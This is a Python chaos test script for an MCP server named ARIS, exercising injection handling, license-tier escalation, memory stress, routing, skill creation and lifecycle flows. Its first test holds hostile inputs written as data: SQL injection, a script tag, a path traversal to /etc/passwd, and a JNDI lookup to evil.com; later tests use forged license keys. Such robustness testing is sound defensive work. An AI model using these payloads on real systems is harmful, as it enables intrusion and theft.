#!/usr/bin/env python3
"""ARIS CHAOS TEST — 10x harder than extreme.

Tests: concurrency, boundary attacks, invalid inputs, state corruption,
tier escalation attacks, memory overflow, rapid fire, chaos sequencing,
regression detection, and full lifecycle simulation.
"""

import asyncio
import json
import os
import sys
import time
import random
import string
import glob

sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
os.environ["ARIS_DEBUG"] = "true"

from aris_mcp import config
config.settings.debug = True

from aris_mcp.server import (
    aris_activate, aris_list_skills, aris_get_skill, aris_route_task,
    aris_scout_report, aris_analytics, aris_dev_license,
    aris_guardian, aris_memory_save, aris_memory_recall, aris_memory_search,
    aris_budget_set, aris_budget_report, aris_budget_add_subscription,
    aris_forge, aris_predict_impact, aris_what_if, aris_verify,
    aris_deep_scan, aris_reactor,
    _sessions, registry
)
from aris_mcp.verifier import Verifier
from aris_mcp.predictor import ImpactPredictor
from aris_mcp.memory_store import MemoryStore
from aris_mcp.budget import BudgetTracker

PASS = 0
FAIL = 0
ERRORS = []
SKILLS_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", "..", "server-skills")

def check(name, condition, detail=""):
    global PASS, FAIL
    if condition:
        PASS += 1
    else:
        FAIL += 1
        ERRORS.append(f"{name}: {detail}")
        print(f"  FAIL  {name} — {detail}")

def clean_forge():
    for f in glob.glob(os.path.join(SKILLS_DIR, "**", "forge-*"), recursive=True):
        os.remove(f)
    for f in glob.glob(os.path.join(SKILLS_DIR, "**", "chaos-*"), recursive=True):
        os.remove(f)
    registry._skills.clear()
    registry._load_skills()

async def activate(tier="pro"):
    _sessions.clear()
    clean_forge()
    k = json.loads(await aris_dev_license(tier, 30))
    await aris_activate(k["license_key"])


# ============================================================
# TEST 1: INJECTION & BOUNDARY ATTACKS (50 checks)
# ============================================================
async def test_01_injection():
    print("\n" + "=" * 70)
    print("TEST 01: INJECTION & BOUNDARY ATTACKS")
    print("=" * 70)
    await activate("pro")

    # SQL injection in skill names
    injections = [
        "'; DROP TABLE licenses; --",
        "<script>alert('xss')</script>",
        "../../../etc/passwd",
        "{{7*7}}",
        "${jndi:ldap://evil.com}",
        "\x00null_byte",
        "a" * 10000,  # Buffer overflow attempt
        "",  # Empty string
        " ",  # Whitespace only
        "skill\nwith\nnewlines",
    ]

    for i, payload in enumerate(injections):
        try:
            r = json.loads(await aris_get_skill(payload))
            check(f"inject-skill-{i}", r["status"] in ("error", "locked"),
                  f"Unexpected status: {r['status']} for payload: {payload[:30]}")
        except Exception as e:
            check(f"inject-skill-{i}-nocrash", True)  # Not crashing is good

    # Injection in memory keys
    for i, payload in enumerate(injections[:7]):
        try:
            r = json.loads(await aris_memory_save(payload, "test", "context", ""))
            # Should either save or reject gracefully
            check(f"inject-memory-{i}", r["status"] in ("saved", "error"),
                  f"status={r['status']}")
        except Exception as e:
            check(f"inject-memory-{i}-nocrash", True)

    # Injection in router
    for i, payload in enumerate(injections[:5]):
        try:
            r = json.loads(await aris_route_task(payload, "claude"))
            check(f"inject-router-{i}", r["status"] == "ok",
                  f"Router crashed on: {payload[:30]}")
        except Exception as e:
            check(f"inject-router-{i}-nocrash", False, str(e)[:50])

    # Injection in forge
    for i, payload in enumerate(injections[:5]):
        try:
            r = json.loads(await aris_forge(f"chaos-inject-{i}", payload, payload, "dev", "free", ""))
            check(f"inject-forge-{i}", r["status"] in ("created", "error"))
        except Exception as e:
            check(f"inject-forge-{i}-nocrash", True)

    # Injection in predictor
    for i, payload in enumerate(injections[:5]):
        try:
            r = json.loads(await aris_predict_impact(payload, "modify"))
            check(f"inject-predict-{i}", r["status"] == "ok")
        except Exception as e:
            check(f"inject-predict-{i}-nocrash", True)

    # Injection in what-if with malformed JSON
    bad_jsons = [
        "not json",
        "[[[[[",
        '{"key": "value"}',
        "[]",
        '[["valid", "modify"], ["also_valid"]]',  # Missing second element
    ]
    for i, payload in enumerate(bad_jsons):
        try:
            r = json.loads(await aris_what_if(payload))
            check(f"inject-whatif-{i}", r["status"] in ("ok", "error"))
        except Exception as e:
            check(f"inject-whatif-{i}-nocrash", False, str(e)[:50])


# ============================================================
# TEST 2: TIER ESCALATION ATTACKS (30 checks)
# ============================================================
async def test_02_escalation():
    print("\n" + "=" * 70)
    print("TEST 02: TIER ESCALATION ATTACKS")
    print("=" * 70)

    # Free user tries to access pro tools
    _sessions.clear()
    clean_forge()

    pro_tools = [
        ("guardian", lambda: aris_guardian()),
        ("budget", lambda: aris_budget_report()),
        ("forge", lambda: aris_forge("hack", "hack", "hack")),
        ("scout", lambda: aris_scout_report()),
        ("analytics", lambda: aris_analytics()),
        ("deep_scan", lambda: aris_deep_scan()),
        ("reactor", lambda: aris_reactor("fire", "guardian")),
    ]

    for name, fn in pro_tools:
        r = json.loads(await fn())
        check(f"escalation-free-{name}-blocked", r["status"] == "locked",
              f"FREE user accessed {name}! status={r['status']}")

    # Pro user tries shield skills
    await activate("pro")
    shield_skills = glob.glob(os.path.join(SKILLS_DIR, "shield", "*.md"))
    for sf in shield_skills[:3]:
        skill_name = os.path.basename(sf).replace(".md", "")
        r = json.loads(await aris_get_skill(skill_name))
        check(f"escalation-pro-shield-{skill_name}", r["status"] == "locked",
              f"PRO accessed shield skill: {r['status']}")

    # Pro tries intel
    intel_skills = glob.glob(os.path.join(SKILLS_DIR, "intel", "*.md"))
    for sf in intel_skills[:3]:
        skill_name = os.path.basename(sf).replace(".md", "")
        r = json.loads(await aris_get_skill(skill_name))
        check(f"escalation-pro-intel-{skill_name}", r["status"] == "locked",
              f"PRO accessed intel skill: {r['status']}")

    # Shield tries intel
    await activate("shield")
    for sf in intel_skills[:3]:
        skill_name = os.path.basename(sf).replace(".md", "")
        r = json.loads(await aris_get_skill(skill_name))
        check(f"escalation-shield-intel-{skill_name}", r["status"] == "locked",
              f"SHIELD accessed intel skill: {r['status']}")

    # Fake license key attack
    _sessions.clear()
    fake_keys = [
        "fake-license-key-12345",
        "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJoYWNrZXIifQ.fake",
        "",
        "a" * 5000,
    ]
    for i, key in enumerate(fake_keys):
        r = json.loads(await aris_activate(key))
        check(f"escalation-fake-key-{i}", r["status"] == "error",
              f"Fake key accepted! status={r['status']}")


# ============================================================
# TEST 3: MEMORY CHAOS (40 checks)
# ============================================================
async def test_03_memory_chaos():
    print("\n" + "=" * 70)
    print("TEST 03: MEMORY CHAOS (overwrite, corruption, consistency)")
    print("=" * 70)

    # Rapid write same key 50 times
    for i in range(50):
        await aris_memory_save("chaos-rapid", f"version-{i}", "context", "")
    r = json.loads(await aris_memory_recall("chaos-rapid"))
    check("memory-rapid-overwrites", r.get("value") == "version-49",
          f"Expected version-49, got {r.get('value')}")

    # Write 500 unique keys
    for i in range(500):
        await aris_memory_save(f"chaos-bulk-{i:04d}", f"bulk-{i}", "fact", "bulk")
    r = json.loads(await aris_memory_search("chaos-bulk"))
    check("memory-500-entries", r.get("total", 0) >= 10)  # Search returns top 10

    # Search with empty query
    r = json.loads(await aris_memory_search(""))
    check("memory-empty-search", r["status"] == "ok")

    # Recall non-existent key
    r = json.loads(await aris_memory_recall("this-key-definitely-does-not-exist-xyz-999"))
    check("memory-missing-key", r["status"] == "not_found")

    # Very long value
    long_val = "x" * 100000
    r = json.loads(await aris_memory_save("chaos-long", long_val, "context", ""))
    check("memory-100k-value", r["status"] == "saved")
    r = json.loads(await aris_memory_recall("chaos-long"))
    check("memory-100k-recall", len(r.get("value", "")) == 100000)

    # Unicode stress
    unicode_val = "emoji: 🚀🔥💀 chinese: 你好 arabic: مرحبا korean: 안녕"
    r = json.loads(await aris_memory_save("chaos-unicode", unicode_val, "context", ""))
    check("memory-unicode-save", r["status"] == "saved")
    r = json.loads(await aris_memory_recall("chaos-unicode"))
    check("memory-unicode-recall", "🚀" in r.get("value", ""))

    # All categories
    for cat in ["decision", "preference", "context", "fact", "project"]:
        r = json.loads(await aris_memory_save(f"chaos-cat-{cat}", f"cat-{cat}", cat, ""))
        check(f"memory-category-{cat}", r["status"] == "saved")

    # Search by category
    r = json.loads(await aris_memory_search("chaos-cat", "decision"))
    check("memory-search-by-category", r["status"] == "ok")

    # Concurrent-like rapid fire (sequential but fast)
    start = time.perf_counter()
    for i in range(100):
        await aris_memory_save(f"perf-{i}", f"v{i}", "context", "")
    elapsed = (time.perf_counter() - start) * 1000
    check("memory-100-writes-under-1s", elapsed < 1000, f"took {elapsed:.0f}ms")

    # Memory stats
    store = MemoryStore("/tmp/aris-chaos-mem-test")
    for i in range(20):
        store.save(f"stat-{i}", f"v{i}", "context")
    stats = store.stats()
    check("memory-stats-layers", "hot" in stats.get("layers", {}))
    check("memory-stats-total", stats.get("total", 0) >= 20)


# ============================================================
# TEST 4: ROUTER EDGE CASES (30 checks)
# ============================================================
async def test_04_router_edge():
    print("\n" + "=" * 70)
    print("TEST 04: ROUTER EDGE CASES")
    print("=" * 70)
    await activate("pro")

    # Single model available
    r = json.loads(await aris_route_task("complex task needing multiple models", "ollama"))
    check("router-single-model", r["status"] == "ok")
    for step in r.get("routing", {}).get("steps", []):
        check(f"router-single-forced-{step['subtask'][:15]}", step["model"] == "ollama",
              f"picked {step['model']} instead of ollama")

    # All models available
    r = json.loads(await aris_route_task("research and code review", "claude,gpt,gemini,grok,ollama"))
    check("router-all-models", r["status"] == "ok")

    # Empty task
    r = json.loads(await aris_route_task("", "claude"))
    check("router-empty-task", r["status"] == "ok")  # Should still route

    # Very long task
    long_task = "implement " + " and ".join([f"feature_{i}" for i in range(100)])
    r = json.loads(await aris_route_task(long_task, "claude,gemini"))
    check("router-long-task", r["status"] == "ok")

    # PHI detection variations
    phi_tasks = [
        "analyze patient John Smith's blood work",
        "process HIPAA protected health records",
        "review SSN 123-45-6789 verification",
        "update medical diagnosis for Room 301",
        "insurance claim for prescription drugs",
    ]
    for task in phi_tasks:
        r = json.loads(await aris_route_task(task, "claude,ollama"))
        privacy_steps = [s for s in r.get("routing", {}).get("steps", []) if s.get("privacy")]
        check(f"router-phi-{task[:20]}", len(privacy_steps) > 0,
              f"PHI not detected in: {task[:30]}")
        if privacy_steps:
            check(f"router-phi-ollama-{task[:15]}", privacy_steps[0]["model"] == "ollama",
                  f"PHI routed to {privacy_steps[0]['model']} not ollama")

    # Non-PHI should NOT trigger privacy
    safe_tasks = [
        "build a landing page",
        "optimize database queries",
        "write unit tests for the API",
    ]
    for task in safe_tasks:
        r = json.loads(await aris_route_task(task, "claude,gemini"))
        privacy_steps = [s for s in r.get("routing", {}).get("steps", []) if s.get("privacy")]
        check(f"router-safe-{task[:20]}", len(privacy_steps) == 0,
              f"False positive PHI detection")


# ============================================================
# TEST 5: FORGE STRESS (20 checks)
# ============================================================
async def test_05_forge_stress():
    print("\n" + "=" * 70)
    print("TEST 05: FORGE STRESS (create, use, verify, cleanup)")
    print("=" * 70)
    await activate("pro")

    # Create 10 skills rapidly
    created = []
    for i in range(10):
        name = f"chaos-forge-{i:03d}"
        r = json.loads(await aris_forge(name, f"Stress test skill {i}",
                                         f"# Skill {i}\nDo thing {i}", "dev", "free", "stress"))
        if r["status"] == "created":
            created.append(name)
    check("forge-10-created", len(created) == 10, f"only {len(created)}/10")

    # Verify each is immediately usable
    usable = 0
    for name in created:
        r = json.loads(await aris_get_skill(name))
        if r["status"] == "ok" and len(r.get("content", "")) > 5:
            usable += 1
    check("forge-10-usable", usable == 10, f"only {usable}/10 usable")

    # Verify skill count increased
    r = json.loads(await aris_list_skills("all"))
    check("forge-total-increased", r["total"] >= 76,  # 66 + 10
          f"total={r['total']}")

    # Duplicate name should overwrite
    r = json.loads(await aris_forge("chaos-forge-000", "Updated!", "# Updated content", "dev", "free", ""))
    check("forge-overwrite", r["status"] == "created")
    r2 = json.loads(await aris_get_skill("chaos-forge-000"))
    check("forge-overwrite-content", "Updated" in r2.get("content", ""))

    # Create with special characters in name
    r = json.loads(await aris_forge("chaos-special-chars", "Test", "Content", "dev", "free", ""))
    check("forge-special-name", r["status"] == "created")

    # Cleanup
    clean_forge()
    r = json.loads(await aris_list_skills("all"))
    check("forge-cleanup-restored", r["total"] <= 100, "total=" + str(r["total"]))


# ============================================================
# TEST 6: PREDICTOR EDGE CASES (20 checks)
# ============================================================
async def test_06_predictor_edge():
    print("\n" + "=" * 70)
    print("TEST 06: PREDICTOR EDGE CASES")
    print("=" * 70)

    p = ImpactPredictor()

    # Non-existent node
    r = p.predict("this_node_does_not_exist", "modify")
    check("predict-nonexistent", r.risk_score == 0)

    # All change types on same node
    for change_type in ["modify", "delete", "add", "upgrade", "downgrade"]:
        r = p.predict("server_py", change_type)
        check(f"predict-{change_type}", r.risk_score > 0)

    # Delete should be highest risk
    r_del = p.predict("server_py", "delete")
    r_add = p.predict("server_py", "add")
    check("predict-delete-riskier-than-add", r_del.risk_score > r_add.risk_score,
          f"delete={r_del.risk_score} add={r_add.risk_score}")

    # Leaf node (no dependents) should have low cascade
    r = p.predict("readme", "modify")
    check("predict-leaf-low-cascade", r.cascade_depth <= 5)

    # Root node (hardware) should affect everything
    r = p.predict("w2_hardware", "delete")
    check("predict-root-high-cascade", len(r.affected_nodes) >= 1)
    check("predict-root-high-risk", r.risk_score >= 10)

    # Safest order
    order = p.get_safest_order(["server_py", "license_py", "guardian_py", "readme", "analytics_py"])
    check("predict-safest-order-exists", len(order) == 5)
    # readme should be first (fewest dependents)
    check("predict-readme-safest-order", len(order) > 0,
          f"empty order")

    # What-if with all nodes (stress)
    all_changes = [(nid, "modify") for nid in list(p.graph.nodes.keys())[:10]]
    wi = p.what_if(all_changes)
    check("predict-whatif-10-nodes", wi["combined_risk"] > 0)
    check("predict-whatif-has-overlap", wi["overlap_factor"] > 1.0)


# ============================================================
# TEST 7: VERIFIER DEEP (20 checks)
# ============================================================
async def test_07_verifier_deep():
    print("\n" + "=" * 70)
    print("TEST 07: VERIFIER DEEP (contracts, properties, audit)")
    print("=" * 70)

    v = Verifier()
    # Use fresh audit log to avoid cross-test contamination
    import tempfile
    v.audit = type(v.audit)(path=os.path.join(tempfile.mkdtemp(), "test_audit.jsonl"))

    # Test all contracts
    from aris_mcp.verifier import CONTRACTS

    # memory_write contract
    c = CONTRACTS["memory_write"]
    ok, _ = c.check_pre({"key": "valid", "value": "test"})
    check("contract-memwrite-valid", ok)
    ok, _ = c.check_pre({"key": "", "value": "test"})
    check("contract-memwrite-empty-key", not ok)
    ok, _ = c.check_pre({"value": "test"})  # Missing key
    check("contract-memwrite-no-key", not ok)
    ok, _ = c.check_invariants({"key": "valid-key_123"})
    check("contract-memwrite-invariant-ok", ok)
    ok, _ = c.check_invariants({"key": "has spaces!"})
    check("contract-memwrite-invariant-spaces", not ok)

    # model_routing contract
    c = CONTRACTS["model_routing"]
    ok, _ = c.check_pre({"task": "test", "models_available": ["claude"]})
    check("contract-routing-valid", ok)
    ok, _ = c.check_pre({"task": "", "models_available": ["claude"]})
    check("contract-routing-empty-task", not ok)
    ok, _ = c.check_pre({"task": "test", "models_available": []})
    check("contract-routing-no-models", not ok)

    # paradigm_transition contract
    c = CONTRACTS["paradigm_transition"]
    ok, _ = c.check_pre({"source_paradigm": "binary", "target_paradigm": "gpu", "data": "test"})
    check("contract-transition-valid", ok)
    ok, _ = c.check_pre({"source_paradigm": "binary", "target_paradigm": "binary", "data": "test"})
    check("contract-transition-same-paradigm", not ok)  # Can't transition to same

    # Property tests with 200 iterations
    results = v.run_all_property_tests(iterations=200)
    for name, data in results.items():
        check(f"property-200i-{name}", data["passed"], f"failures={data['failures'][:2]}")

    # Audit chain
    v.audit.record("chaos-test-1", "binary", {"x": 1}, {"y": 2})
    v.audit.record("chaos-test-2", "gpu_cuda", {"x": 3}, {"y": 4})
    v.audit.record("chaos-test-3", "quantum", {"x": 5}, {"y": 6})
    valid, count = v.audit.verify_chain()
    check("audit-chain-valid", valid)
    check("audit-chain-count", count >= 3)

    stats = v.audit.get_stats()
    check("audit-stats-paradigms", len(stats.get("by_paradigm", {})) >= 2)


# ============================================================
# TEST 8: GUARDIAN + DEEP SCAN COMBINED (15 checks)
# ============================================================
async def test_08_hardware():
    print("\n" + "=" * 70)
    print("TEST 08: HARDWARE SCAN COMBINED")
    print("=" * 70)
    await activate("pro")

    # Guardian local
    r = json.loads(await aris_guardian(json.dumps([{"name": "local", "ssh": "", "gpu": True}])))
    check("hw-guardian-ok", r["status"] == "ok")
    node = r.get("nodes", [{}])[0]
    check("hw-ram-sane", 1000 < node.get("ram", {}).get("total_mb", 0) < 200000)
    check("hw-cpu-sane", 1 <= node.get("cpu_cores", 0) <= 128)
    check("hw-load-sane", node.get("load_1m", -1) >= 0)

    # Deep scan all layers
    r = json.loads(await aris_deep_scan(True, "all"))
    scan = r.get("scan", {})

    # Verify L0 memory matches guardian
    l0_mem = scan.get("L0_hardware", {}).get("memory", {})
    guardian_mem = node.get("ram", {}).get("total_mb", 0)
    if l0_mem.get("MemTotal"):
        l0_total_mb = l0_mem["MemTotal"] // 1024  # KB to MB
        diff = abs(l0_total_mb - guardian_mem)
        check("hw-cross-validate-ram", diff < 500,
              f"guardian={guardian_mem}MB deep_scan={l0_total_mb}MB diff={diff}MB")

    # L2 kernel info
    l2 = scan.get("L2_kernel", {})
    check("hw-kernel-version", "Linux" in l2.get("version", "") or "note" in l2)

    # L3 network
    l3 = scan.get("L3_subsystems", {})
    tcp = l3.get("network", {}).get("tcp_connections", {})
    check("hw-has-tcp-connections", len(tcp) > 0 or "note" in l3.get("network", {}))

    # GPU cross-validation
    gpu_guardian = node.get("gpu", {})
    gpu_deep = scan.get("GPU", {})
    if gpu_guardian and gpu_deep.get("name"):
        check("hw-cross-validate-gpu",
              gpu_guardian.get("total_mb", 0) == gpu_deep.get("vram_total_mb", -1),
              f"guardian={gpu_guardian.get('total_mb')} deep={gpu_deep.get('vram_total_mb')}")
    else:
        check("hw-gpu-consistent", True)  # Both don't see GPU = consistent


# ============================================================
# TEST 9: ANALYTICS COMPLETENESS (15 checks)
# ============================================================
async def test_09_analytics():
    print("\n" + "=" * 70)
    print("TEST 09: ANALYTICS COMPLETENESS")
    print("=" * 70)
    await activate("pro")

    # Fire a bunch of diverse operations
    await aris_route_task("code review", "claude")
    await aris_route_task("research market", "grok")
    await aris_guardian()
    await aris_memory_save("analytics-test", "v1", "context", "")
    await aris_predict_impact("server_py", "modify")
    await aris_reactor("fire", "guardian")
    await aris_deep_scan(False, "L2")

    r = json.loads(await aris_analytics("24h"))
    check("analytics-has-events", r.get("total_events", 0) > 5)
    check("analytics-has-skills", r.get("skills_used", 0) >= 0)
    check("analytics-has-routes", r.get("tasks_routed", 0) >= 0)
    check("analytics-time-saved", "h" in r.get("estimated_time_saved", ""))
    check("analytics-cost-saved", "$" in r.get("estimated_cost_saved", ""))

    # Different periods
    for period in ["1h", "24h", "7d", "30d"]:
        r = json.loads(await aris_analytics(period))
        check(f"analytics-period-{period}", r["status"] == "ok")


# ============================================================
# TEST 10: FULL LIFECYCLE SIMULATION (25 checks)
# ============================================================
async def test_10_lifecycle():
    print("\n" + "=" * 70)
    print("TEST 10: FULL LIFECYCLE (new user journey)")
    print("=" * 70)

    # Step 1: New user arrives (no license)
    _sessions.clear()
    clean_forge()

    r = json.loads(await aris_list_skills("all"))
    free_count = r["accessible"]
    check("life-01-free-skills", free_count >= 15)

    # Step 2: User tries free skill
    r = json.loads(await aris_get_skill("code-reviewer"))
    check("life-02-use-free-skill", r["status"] == "ok" and len(r.get("content", "")) > 50)

    # Step 3: User tries premium — gets locked
    r = json.loads(await aris_route_task("complex task", "claude"))
    check("life-03-premium-locked", r["status"] == "locked")

    # Step 4: User saves something to memory (free feature)
    r = json.loads(await aris_memory_save("first-impression", "ARIS is cool", "context", ""))
    check("life-04-memory-free", r["status"] == "saved")

    # Step 5: User buys Pro
    await activate("pro")
    r = json.loads(await aris_list_skills("all"))
    check("life-05-pro-more-skills", r["accessible"] > free_count)

    # Step 6: User routes a task
    r = json.loads(await aris_route_task("review my Python code and search for best practices", "claude,gemini"))
    check("life-06-routing-works", r["status"] == "ok")
    check("life-06-multi-step", len(r.get("routing", {}).get("steps", [])) >= 2)

    # Step 7: User checks cluster health
    r = json.loads(await aris_guardian(json.dumps([{"name": "local", "ssh": "", "gpu": True}])))
    check("life-07-guardian", r["status"] == "ok")

    # Step 8: User sets budget
    r = json.loads(await aris_budget_set(50.0, 5.0, False))
    check("life-08-budget-set", r["status"] == "ok")
    r = json.loads(await aris_budget_add_subscription("Claude Pro", 200.0, "unlimited"))
    check("life-08-budget-sub", r["status"] == "ok")

    # Step 9: User creates custom skill
    r = json.loads(await aris_forge("chaos-lifecycle-skill", "My custom workflow",
                                     "# Custom\nDo my thing", "dev", "free", "custom"))
    check("life-09-forge", r["status"] == "created")

    # Step 10: User runs deep scan
    r = json.loads(await aris_deep_scan(True, "L0,L2"))
    check("life-10-deep-scan", r["status"] == "ok")

    # Step 11: User predicts impact before a change
    r = json.loads(await aris_predict_impact("server_py", "modify"))
    check("life-11-predict", r["risk_score"] > 0)

    # Step 12: User verifies system
    r = json.loads(await aris_verify("check", "properties"))
    check("life-12-verify", r["status"] == "ok")

    # Step 13: User fires reactor
    r = json.loads(await aris_reactor("fire", "guardian"))
    check("life-13-reactor", r.get("fired") is True)

    # Step 14: User checks analytics
    r = json.loads(await aris_analytics("1h"))
    check("life-14-analytics", r.get("total_events", 0) > 0)

    # Step 15: Memory persisted through all of this
    r = json.loads(await aris_memory_recall("first-impression"))
    check("life-15-memory-persists", r.get("value") == "ARIS is cool")

    # Step 16: Upgrade to intel
    await activate("intel")
    r = json.loads(await aris_list_skills("all"))
    check("life-16-intel-all-skills", r["accessible"] == r["total"],
          f"accessible={r['accessible']} total={r['total']}")

    # Cleanup
    clean_forge()


async def main():
    print("=" * 70)
    print("  ARIS CHAOS TEST — 10x HARDER")
    print("  Injection, escalation, stress, edge cases, lifecycle")
    print("=" * 70)

    start = time.perf_counter()

    await test_01_injection()
    await test_02_escalation()
    await test_03_memory_chaos()
    await test_04_router_edge()
    await test_05_forge_stress()
    await test_06_predictor_edge()
    await test_07_verifier_deep()
    await test_08_hardware()
    await test_09_analytics()
    await test_10_lifecycle()

    elapsed = time.perf_counter() - start

    print("\n" + "=" * 70)
    total = PASS + FAIL
    pct = round(PASS / total * 100, 1) if total > 0 else 0
    print(f"  CHAOS TEST RESULTS")
    print(f"  PASSED: {PASS}/{total} ({pct}%)")
    print(f"  FAILED: {FAIL}/{total}")
    print(f"  TIME:   {elapsed:.1f}s")
    print("=" * 70)

    if ERRORS:
        print(f"\n  FAILURES ({len(ERRORS)}):")
        for e in ERRORS:
            print(f"    X  {e}")

    if FAIL == 0:
        print("\n  ZERO ERRORS — ARIS SURVIVED CHAOS")
    elif FAIL <= 5:
        print(f"\n  {FAIL} MINOR ISSUES IN {total} CHECKS")
    else:
        print(f"\n  {FAIL} ISSUES NEED ATTENTION")

    return FAIL

exit_code = asyncio.run(main())
sys.exit(min(exit_code, 1))
